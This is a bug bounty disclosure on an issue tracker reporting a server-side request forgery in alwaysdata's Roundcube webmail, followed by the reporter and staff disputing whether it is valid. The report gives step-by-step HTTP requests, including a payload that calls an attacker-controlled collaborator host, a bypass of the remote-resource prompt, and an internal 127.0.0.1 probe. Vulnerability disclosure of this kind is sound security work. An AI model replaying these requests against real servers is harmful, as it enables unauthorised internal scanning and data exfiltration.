- Status Assigned
-
Assigned To
cbay - Private
FS#307 - Security Issue Report - SSRF in webmail.alwaysdata.com
Dear alwaysdata security team,
While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.
When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.
This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.
Impact
An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.
Proof of Vulnerability
i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:
WHOIS Data:
inetnum: 185.31.40.0 - 185.31.43.255 netname: FR-ALWAYSDATA-20130719 descr: ALWAYSDATA SARL country: FR org: ORG-AS291-RIPE ASN: AS60362
This confirms the HTTP request originated from your server, not from my browser.
PoC
Step 1: Send Malicious Email
POST /roundcube/?_task=mail&_action=send HTTP/2
Host: webmail.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9
_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E
Decoded email body:
<!DOCTYPE html>
<head> <link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css"> </head> <body>SSRF Test</body>
Step 2: Preview Email with _safe=1
GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/html
The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.
Step 3: Trigger SSRF via modcss
The preview response contains links like:
<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">
When this modcss URL is fetched, the server makes the SSRF request:
GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css
This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.
Step 4: Internal Enumeration (Optional)
To target internal services, use this email body:
<!DOCTYPE html>
<head> <link rel="stylesheet" href="http://127.0.0.1/"> </head> <body>Internal enumeration</body>
Steps to Reproduce
Login to webmail.alwaysdata.com with a valid account Generate a Collaborator payload or webhook Send an HTML email to yourself with a malicious <link> tag (see Step 1) Preview the email with _safe=1 parameter (see Step 2) Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF Check your Collaborator for incoming HTTP requests from 185.31.40.185
Results
1. Collaborator Received HTTP Request from the Server
When i triggered the SSRF, my Collaborator received this request:
Timestamp: 2026-03-15T22:18:55.739Z
Client IP: 185.31.40.185
User-Agent: GuzzleHttp/7
Request: GET /ssrf-poc.css HTTP/1.1
Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com
If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.
2. Content Exfiltration
When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:
Request:
GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1
Response:
HTTP/2 200 OK
Server: nginx
Date: Sun, 15 Mar 2026 23:08:11 GMT
Content-Type: text/css;charset=UTF-8
Via: 1.1 alproxy
#messagehtmlpart1 #v1filtersetslist td.v1name:before,
#messagehtmlpart1 #v1filterslist td.v1name:before,
#messagehtmlpart1 #v1identities-table td.v1mail:before,
#messagehtmlpart1 #v1message-header .v1header-links a:before,
… [truncated - full CSS content exfiltrated]
3. Internal Network is Reachable
When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:
Request:
GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1
Response:
HTTP/2 404 Not Found
Server: nginx
Date: Sun, 15 Mar 2026 23:08:25 GMT
Content-Type: text/html; charset=UTF-8
Via: 1.1 alproxy
Invalid response returned by server
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
The server running our Roundcube instance (i.e. doing the requests) has no access to any internal service that should not be exposed.
Kind regards,
Cyril
Hello,
That is understandable, however SSRF can still pose a threat, and marked as in-scope for your bug bounty program.
SSRF is indeed an issue if you manage to send requests from an endpoint that is not supposed to. Webmails, however, are designed to send requests to render external files from emails.
Webmails usually render resources in browser, and if they do it in the back-end hostnames and uri's are should be properly sanitized with requests blocked as standard practice. Please take the time to reproduce the finding and confirm the impact for yourself. The domain webmail.alwaysdata.com is clearly in-scope as well as SSRF vectors are explicitly in-scope, there is no rule disqualifying SSRF under specific conditions.
According to Wikipedia:
You have not demonstrated that you gained access to resources that are otherwise inaccessible.
On your rules for SSRF you explicitly state to not target internal resources https://help.alwaysdata.com/en/technical-specifications/bug-bounty/
"SSRF: Do not go playing around on any internal networks. Report as soon as you believe that you have a potential SSRF issue and we will look into it for you."
I have demonstrated successful SSRF by triggering a request from your server 185.31.40.185, public record confirms that ip falls within an ipv4 block owned by alwaysdata.
OK, so I give you the authorization to go play around and try to find if you can get access to inaccessible resources.
SSRF is not a matter of discovering the resources. I confirmed the SSRF by making the server send out a request to my server confirmed by the IP:185.31.40.185 and User-Agent: GuzzleHttp/7. The response "Invalid response returned by server" indicates that the server sent out the request internally. This is enough proof to validate an SSRF, anything beyond that steps into read-teaming / post exploitation territory. Please carefully read my report and take the time to reproduce the finding.
I respectfully disagree.
Anyway, as you seems eager to play by the rules, your report is invalid as it doesn't qualify:
OK, in that case allow me some time to try to produce exfiltration proof, as for the "eager to play by the rules" comment, i believe this would be the right thing to do, rules are there for a reason after all, would you have preferred it if i didn't report the issue at all?